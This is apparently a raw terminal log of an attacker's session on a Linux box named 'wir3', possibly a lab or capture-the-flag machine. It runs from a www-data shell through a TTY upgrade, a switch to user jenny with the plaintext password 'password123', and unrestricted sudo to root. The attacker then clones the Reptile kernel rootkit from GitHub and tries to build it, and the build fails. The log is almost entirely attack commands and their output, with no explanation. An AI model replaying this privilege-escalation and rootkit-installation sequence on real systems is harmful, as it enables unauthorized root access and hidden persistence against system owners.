

```
Linux wir3 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021
x86_64 x86_64 x86_64 GNU/Linux
```

```
22:26:54 up 2:21, 1 user, load average: 0.02, 0.07, 0.08
```

```
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU WHAT
jenny     tty1     -               20:06   37.00s  1.00s  0.14s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
```

```
$ whoami
```

```
www-data
```

```
$ ls -la
```

```
total 1529956
```

```
drwxr-xr-x  23 root root      4096 Feb  1 19:52 .
drwxr-xr-x  23 root root      4096 Feb  1 19:52 ..
drwxr-xr-x   2 root root      4096 Feb  1 20:11 bin
drwxr-xr-x   3 root root      4096 Feb  1 20:15 boot
drwxr-xr-x  18 root root     3880 Feb  1 20:05 dev
drwxr-xr-x  94 root root      4096 Feb  1 22:23 etc
drwxr-xr-x   3 root root      4096 Feb  1 20:05 home
lrwxrwxrwx   1 root root        34 Feb  1 19:52 initrd.img -> boot/
initrd.img-4.15.0-135-generic
lrwxrwxrwx   1 root root        33 Jul 25  2018 initrd.img.old -> boot/
initrd.img-4.15.0-29-generic
drwxr-xr-x  22 root root      4096 Feb  1 22:06 lib
drwxr-xr-x   2 root root      4096 Feb  1 20:08 lib64
drwx-----  2 root root     16384 Feb  1 19:49 lost+found
drwxr-xr-x   2 root root      4096 Jul 25  2018 media
drwxr-xr-x   2 root root      4096 Jul 25  2018 mnt
drwxr-xr-x   2 root root      4096 Jul 25  2018 opt
dr-xr-xr-x 117 root root         0 Feb  1 20:23 proc
drwx-----  3 root root      4096 Feb  1 22:20 root
drwxr-xr-x  29 root root     1040 Feb  1 22:23 run
drwxr-xr-x   2 root root     12288 Feb  1 20:11 sbin
drwxr-xr-x   4 root root      4096 Feb  1 20:06 snap
drwxr-xr-x   3 root root      4096 Feb  1 20:07 srv
-rw-----  1 root root 1566572544 Feb  1 19:52 swap.img
dr-xr-xr-x  13 root root         0 Feb  1 20:05 sys
drwxrwxrwt   2 root root      4096 Feb  1 22:25 tmp
drwxr-xr-x  10 root root      4096 Jul 25  2018 usr
drwxr-xr-x  14 root root      4096 Feb  1 21:54 var
lrwxrwxrwx   1 root root        31 Feb  1 19:52 vmlinuz -> boot/
vmlinuz-4.15.0-135-generic
lrwxrwxrwx   1 root root        30 Jul 25  2018 vmlinuz.old -> boot/
vmlinuz-4.15.0-29-generic
```

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```
www-data@wir3:/$ su jenny
```

```
su jenny
```

```
Password: password123
```

```
jenny@wir3:/$ sudo -l
```

```
sudo -l
```

```
[sudo] password for jenny: password123
```

```
Matching Defaults entries for jenny on wir3:
```

```
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/
sbin\:/bin\:/snap/bin
```

```
User jenny may run the following commands on wir3:
```

```
(ALL : ALL) ALL
```

```
jenny@wir3:/$ sudo su
```

```
sudo su
```

```
root@wir3:/# whoami
whoami
root
root@wir3:/# cd
cd
root@wir3:~# git clone https://github.com/f0rb1dd3n/Reptile.git
git clone https://github.com/f0rb1dd3n/Reptile.git
Cloning into 'Reptile'...
remote: Enumerating objects: 217, done..[K
remote: Counting objects: 0% (1/217).[K
remote: Counting objects: 1% (3/217).[K
remote: Counting objects: 2% (5/217).[K
remote: Counting objects: 3% (7/217).[K
remote: Counting objects: 4% (9/217).[K
remote: Counting objects: 5% (11/217).[K
remote: Counting objects: 6% (14/217).[K
remote: Counting objects: 7% (16/217).[K
remote: Counting objects: 8% (18/217).[K
remote: Counting objects: 9% (20/217).[K
remote: Counting objects: 10% (22/217).[K
remote: Counting objects: 11% (24/217).[K
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remote: Counting objects: 14% (31/217).[K
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remote: Counting objects: 16% (35/217).[K
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remote: Counting objects: 18% (40/217).[K
remote: Counting objects: 19% (42/217).[K
remote: Counting objects: 20% (44/217).[K
remote: Counting objects: 21% (46/217).[K
remote: Counting objects: 22% (48/217).[K
remote: Counting objects: 23% (50/217).[K
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remote: Counting objects: 30% (66/217).[K
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remote: Counting objects: 32% (70/217).[K
remote: Counting objects: 33% (72/217).[K
remote: Counting objects: 34% (74/217).[K
remote: Counting objects: 35% (76/217).[K
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remote: Counting objects: 37% (81/217).[K
remote: Counting objects: 38% (83/217).[K
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remote: Counting objects: 41% (89/217).[K
remote: Counting objects: 42% (92/217).[K
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remote: Counting objects: 48% (105/217).[K
remote: Counting objects: 49% (107/217).[K
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remote: Counting objects: 51% (111/217).[K
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remote: Counting objects: 52% (113/217). [K
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remote: Counting objects: 100% (217/217), done.. [K
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remote: Compressing objects: 100% (152/152), done..[K
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Receiving objects: 91% (920/1010)

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Receiving objects: 92% (930/1010)
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Receiving objects: 94% (950/1010)
Receiving objects: 95% (960/1010)
remote: Total 1010 (delta 65), reused 190 (delta 50), pack-reused 793.[K
Receiving objects: 96% (970/1010)
Receiving objects: 97% (980/1010)
Receiving objects: 98% (990/1010)
Receiving objects: 99% (1000/1010)
Receiving objects: 100% (1010/1010)
Receiving objects: 100% (1010/1010), 472.55 KiB | 1.73 MiB/s, done.
Resolving deltas: 0% (0/499)
Resolving deltas: 2% (12/499)
Resolving deltas: 3% (15/499)
Resolving deltas: 5% (27/499)
Resolving deltas: 7% (36/499)
Resolving deltas: 8% (40/499)
Resolving deltas: 9% (46/499)
Resolving deltas: 10% (50/499)
Resolving deltas: 13% (67/499)
Resolving deltas: 14% (72/499)
Resolving deltas: 15% (75/499)
Resolving deltas: 16% (83/499)
Resolving deltas: 17% (85/499)
Resolving deltas: 18% (92/499)
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Resolving deltas: 90% (450/499)
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Resolving deltas: 96% (480/499)
Resolving deltas: 97% (485/499)
Resolving deltas: 98% (491/499)
Resolving deltas: 99% (495/499)
Resolving deltas: 100% (499/499)
Resolving deltas: 100% (499/499), done.
root@wir3:~# cd Reptile
cd Reptile
root@wir3:~/Reptile# ls -la
ls -la
total 44
drwxr-xr-x 7 root root 4096 Feb  1 22:27 .
drwx----- 4 root root 4096 Feb  1 22:27 ..
drwxr-xr-x 2 root root 4096 Feb  1 22:27 configs
drwxr-xr-x 8 root root 4096 Feb  1 22:27 .git
-rw-r--r-- 1 root root   8 Feb  1 22:27 .gitignore
-rw-r--r-- 1 root root 1922 Feb  1 22:27 Kconfig
drwxr-xr-x 7 root root 4096 Feb  1 22:27 kernel
-rw-r--r-- 1 root root 1852 Feb  1 22:27 Makefile
-rw-r--r-- 1 root root 2183 Feb  1 22:27 README.md
drwxr-xr-x 4 root root 4096 Feb  1 22:27 scripts
drwxr-xr-x 6 root root 4096 Feb  1 22:27 userland
root@wir3:~/Reptile# make
make
make[1]: Entering directory '/root/Reptile/userland'
Makefile:10: ../.config: No such file or directory
make[1]: *** No rule to make target '../.config'. Stop.
make[1]: Leaving directory '/root/Reptile/userland'
Makefile:56: recipe for target 'userland_bin' failed
make: *** [userland_bin] Error 2
root@wir3:~/Reptile#

```